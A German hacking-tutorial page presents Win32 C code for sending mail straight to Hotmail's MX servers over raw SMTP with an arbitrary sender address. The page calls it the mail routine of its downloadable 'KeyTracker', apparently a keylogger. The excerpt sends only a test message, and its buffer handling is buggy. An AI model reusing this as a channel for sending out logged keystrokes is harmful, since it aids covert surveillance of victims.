News... | Hack-Acad | Downloads | Web-Projekte | Kontakt
HACKACAD - Hotmail SMTP (Code)

Das folgende Beispiel Programm behandelt die erwähnten Methoden von smtp.html. Was zuvor noch als manuelle Kommandozeilen Struktur stand wird nun automatisiert. Der Verbindungsverlauf wird anhand eines Textfeldes protokolliert:



Der Quellcode setzt Kenntnisse der allgemeinen Winapi Programmierung vorraus ebenso wie Socket Kenntnisse. Es ist ein Auszug der Mailroutine wie sie im downloadbaren KeyTracker verwendet wird. An zwei Stelle findet man eine Kommentarbox CODE AKTUALISIEREN. AN diesen 2 Stellen wird das MAIL FROM und RCPT TO: Kommando übergeben. Zum erhalt einer Test Email sollte hier entsprechend der Wert geändert werden.

 
/*-------------------------------------
   Hotmail SMTP Mailroutine Auszug aus
   KeyTracker.c -- (c) jripper 2004
  -----------------------------------*/
 
#include <windows.h>
#include <stdlib.h>
#include <stdio.h> 
 
// Unterdrücken der Warnung "Verkuerzung von 'const int' in 'char'"
#pragma warning(disable: 4305)


LRESULT CALLBACK WndProc (HWND, UINT, WPARAM, LPARAM);

// Protokollierungsfunktion mit Textarea 
void EditPrintf (HWND hwndEdit, TCHAR * szFormat, ...);
 
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
                    PSTR szCmdLine, int iCmdShow)
{
     static TCHAR szAppName[] = TEXT ("KeyTracker") ;
     HWND         hwnd ;
     MSG          msg ;
     WNDCLASS     wndclass ;
 
     wndclass.style         = CS_HREDRAW | CS_VREDRAW ;
     wndclass.lpfnWndProc   = WndProc ;
     wndclass.cbClsExtra    = 0 ;
     wndclass.cbWndExtra    = 0 ;
     wndclass.hInstance     = hInstance ;
     wndclass.hIcon         = NULL;
     wndclass.hCursor       = LoadCursor (NULL, IDC_ARROW) ;
     wndclass.hbrBackground = (HBRUSH) GetStockObject (BLACK_BRUSH) ;
     wndclass.lpszMenuName  = NULL ;
     wndclass.lpszClassName = szAppName ;
 
     if (!RegisterClass (&wndclass))
     {
          MessageBox (NULL, TEXT ("This program requires Windows NT!"),
                      szAppName, MB_ICONERROR) ;
          return 0 ;
     }
 
     hwnd = CreateWindow (szAppName, TEXT ("KeyTracker"),
                          WS_OVERLAPPEDWINDOW,
                          CW_USEDEFAULT, 0,
        310, 245,
                          NULL, NULL, hInstance, NULL) ;
 

  ShowWindow (hwnd, iCmdShow);  
 
     UpdateWindow (hwnd) ;
 
     while (GetMessage (&msg, NULL, 0, 0))
     {
          TranslateMessage (&msg) ;
          DispatchMessage (&msg) ;
     }
     return msg.wParam ;
}
 
LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
 PAINTSTRUCT ps;
 HDC hdc;
 
 static HWND hButton, hEdit;
 
 // Hotmail benutzt 4 Server mx1 bis mx4
 // hotFlag und hotCounter dienen zur Verbindungskontrolle
 int hotFlag = 0, hotCounter = 4; 
 unsigned int empfangen = 0;
 char szMailServer[MAX_PATH], szCommand[MAX_PATH], szRecv[1024];
 

 WORD sockVersion;
 WSADATA wsaData;
 LPHOSTENT hostEntry;
 SOCKET theSocket;
 SOCKADDR_IN serverInfo; 
 
  switch (message)
     {   
     case WM_INPUTLANGCHANGE:
 
     case WM_CREATE:
 
   hButton = CreateWindow(TEXT ("button"), TEXT("TEST IT"),
         WS_CHILD | WS_VISIBLE,
         10,10,80,20,hwnd,
         NULL,
         ((LPCREATESTRUCT) lParam) -> hInstance,
         NULL);
 
   hEdit = CreateWindow(TEXT ("edit"),NULL,
           WS_CHILD  | ES_MULTILINE | WS_VSCROLL | 
           WS_BORDER | ES_READONLY  | WS_VISIBLE,                                   
           10, 40, 282, 160,
           hwnd, NULL,
           ((LPCREATESTRUCT) lParam) -> hInstance,
           NULL);
   
         return 0 ;
     case WM_DISPLAYCHANGE:
 

  case WM_COMMAND:
   if (lParam == (LPARAM)hButton)
   {
   if (HIWORD(wParam) == BN_CLICKED)
   { 
   SetWindowText(hEdit,"");
   EditPrintf(hEdit,"Message Delivery Start\r\n");
   do
   {
    if(hotCounter<1)
    hotCounter = 4;
 
    sprintf(szMailServer,"mx%i.hotmail.com",hotCounter);
    
    sockVersion = MAKEWORD(2, 0);
    if(WSAStartup(sockVersion, &wsaData)==0)
    {
     EditPrintf(hEdit,"Socket Version ...OK\r\n");
     hostEntry = gethostbyname(szMailServer);
     if(hostEntry)
     {
        sprintf(szMailServer,"%s found\r\n",szMailServer);
		EditPrintf(hEdit,szMailServer);
		theSocket = socket(AF_INET,
        SOCK_STREAM,  
        IPPROTO_TCP);
 
     if(theSocket != INVALID_SOCKET)
     {
       EditPrintf(hEdit,"VALID SOCKET\r\n");
 
       serverInfo.sin_family = AF_INET;
       serverInfo.sin_addr = *((LPIN_ADDR)*hostEntry->h_addr_list);
       serverInfo.sin_port = htons(25);
 
       if(connect(theSocket,(LPSOCKADDR)&serverInfo,sizeof(struct sockaddr))==0)
       {
		EditPrintf(hEdit,"... connect ok\r\n\r\n");
		//Sobald Verbindung zu einem Hotmail Server steht
		//hotFlag auf 1 setzen (Abbruchbedingung)
		hotFlag = 1;
       }
       else
       {
		EditPrintf(hEdit,"no connection\r\n");
		EditPrintf(hEdit,"...trying next Server...\r\n");
		//hotCounter Initialisierungswert 4 => mx4
		hotCounter--;
		//Server nicht erreichbar hotCounter 3 => naechster Versuch mx3
       }
     }
     else
     EditPrintf(hEdit,"invalid socket\r\n");
     }
     else
     {
     sprintf(szMailServer,"%s not found\r\n",szMailServer);
     EditPrintf(hEdit,szMailServer);
     }
 
    }
    else
    EditPrintf(hEdit,"SocketVersion Error\r\n");    
   }
   while (hotFlag == 0);
 
   // Verbindung zu einem der 4 Server ist erfolgreich
   if (hotFlag == 1)
   {
       
	   //receive data from successful connection
	   empfangen = recv(theSocket, szRecv, sizeof(szRecv),0);
	   szRecv[empfangen] = '\0\r\n';
	   EditPrintf(hEdit,szRecv);

	   sprintf(szCommand,"HELO hotmail.com\r\n");
	   send(theSocket, szCommand, strlen(szCommand), 0);
	   empfangen = recv(theSocket, szRecv, sizeof(szRecv),0);
	   szRecv[empfangen] = '\0\r\n';
	   EditPrintf(hEdit,szRecv);

    // Prüfen auf den Rückgabewert '250'....
    if ((szRecv[0] == '2')&&(szRecv[1] == '5')&&(szRecv[2] == '0'))
	{   
       
	   EditPrintf(hEdit, "HELO accepted\r\n");

       
	   /***********************
	   ** CODE AKTUALISIEREN **
	   ***********************/

	   sprintf(szCommand,"mail from: dave@hotmail.com\r\n");
       send(theSocket, szCommand, strlen(szCommand), 0);
       empfangen = recv(theSocket, szRecv, sizeof(szRecv),0);
	   szRecv[empfangen] = '\0\r\n';
	   EditPrintf(hEdit,szRecv);

	   if ((szRecv[0] == '2')&&(szRecv[1] == '5')&&(szRecv[2] == '0'))
	   {  
	     EditPrintf(hEdit, "MAIL FROM accepted\r\n");

         /***********************
         ** CODE AKTUALISIEREN **
         ***********************/
		 sprintf(szCommand,"rcpt to: dave@hotmail.com\r\n");
         send(theSocket, szCommand, strlen(szCommand), 0);
         empfangen = recv(theSocket, szRecv, sizeof(szRecv),0);
		 szRecv[empfangen] = '\0\r\n';
	     EditPrintf(hEdit,szRecv);

		 if ((szRecv[0] == '2')&&(szRecv[1] == '5')&&(szRecv[2] == '0'))
		 {  
	       EditPrintf(hEdit, "RCPT TO accepted\r\n");
      
		   sprintf(szCommand,"DATA\r\n");
	       send(theSocket, szCommand, strlen(szCommand), 0);
		   empfangen = recv(theSocket, szRecv, sizeof(szRecv),0);
		   szRecv[empfangen] = '\0\r\n';
	       EditPrintf(hEdit,szRecv);

		   // erfolgreicher Data Befehl wird mit 354 bestätigt...
		   if ((szRecv[0] == '3')&&(szRecv[1] == '5')&&(szRecv[2] == '4'))
		   {  
			   EditPrintf(hEdit, "DATA ... now receiving\r\n");

			   sprintf(szCommand,"SUBJECT: hotmail_socket\r\n");
			   send(theSocket, szCommand, strlen(szCommand), 0);
       
		       sprintf(szCommand,"test content\r\n");
			   send(theSocket, szCommand, strlen(szCommand), 0);
        
			   sprintf(szCommand,".\r\n");
			   send(theSocket, szCommand, strlen(szCommand), 0);
			   empfangen = recv(theSocket, szRecv, sizeof(szRecv),0);
			   szRecv[empfangen] = '\0\r\n';
	           EditPrintf(hEdit,szRecv);

			   if ((szRecv[0] == '2')&&(szRecv[1] == '5')&&(szRecv[2] == '0'))
			   {  
				 EditPrintf(hEdit,"DATA input received.\r\n");

		         sprintf(szCommand,"QUIT\r\n");
				 send(theSocket, szCommand, strlen(szCommand), 0);
				 empfangen = recv(theSocket, szRecv, sizeof(szRecv),0);
			     szRecv[empfangen] = '\0\r\n';
	             EditPrintf(hEdit,szRecv);

				 // QUIT wird mit 221 bestaetigt
			     if ((szRecv[0] == '2')&&(szRecv[1] == '2')&&(szRecv[2] == '1'))
				 {  
					 EditPrintf(hEdit,"Message Send...QUIT ok");
					 closesocket(theSocket);
				 }
				 else
				 {
				 EditPrintf(hEdit,"QUIT failed\r\n");
				 closesocket(theSocket);			   		        
				 }
			   }
			   else
			   {
				 EditPrintf(hEdit,"Closing DATA failed\r\n");
				 closesocket(theSocket);
			   }		        
		   }
		   else
		   {
           EditPrintf(hEdit,"DATA failed\r\n");
	       closesocket(theSocket);
		   }		 
		 }
		 else
		 {
           EditPrintf(hEdit,"RCPT TO failed\r\n");
	       closesocket(theSocket);
		 }		 
	   }
	   else
	   {
         EditPrintf(hEdit,"MAIL FROM failed\r\n");
	     closesocket(theSocket);
	   }
    }
    else
	{
      EditPrintf(hEdit,"HELO failed\r\n");
	  closesocket(theSocket);
	}
    
 
   }
 
   WSACleanup();
   
   }
   }
   return 0;
 
     case WM_PAINT:
    hdc = BeginPaint (hwnd, &ps) ;
          EndPaint (hwnd, &ps) ;
    return 0 ;
 

     case WM_DESTROY:
 
          PostQuitMessage (0) ;
          return 0 ;
      default:
        break;
 
     }
     return DefWindowProc (hwnd, message, wParam, lParam) ;
}


// Funktion die zur Protokollierung dient
// Fuegt Nachricht an das jeweilige Ende des Textfeldes an
void EditPrintf (HWND hwndEdit, TCHAR * szFormat, ...)
{
     TCHAR   szBuffer [1024] ;
     va_list pArgList ;

     va_start (pArgList, szFormat) ;
     wvsprintf (szBuffer, szFormat, pArgList) ;
     va_end (pArgList) ;

     SendMessage (hwndEdit, EM_SETSEL, (WPARAM) -1, (LPARAM) -1) ;
     SendMessage (hwndEdit, EM_REPLACESEL, FALSE, (LPARAM) szBuffer) ;
     SendMessage (hwndEdit, EM_SCROLLCARET, 0, 0) ;
}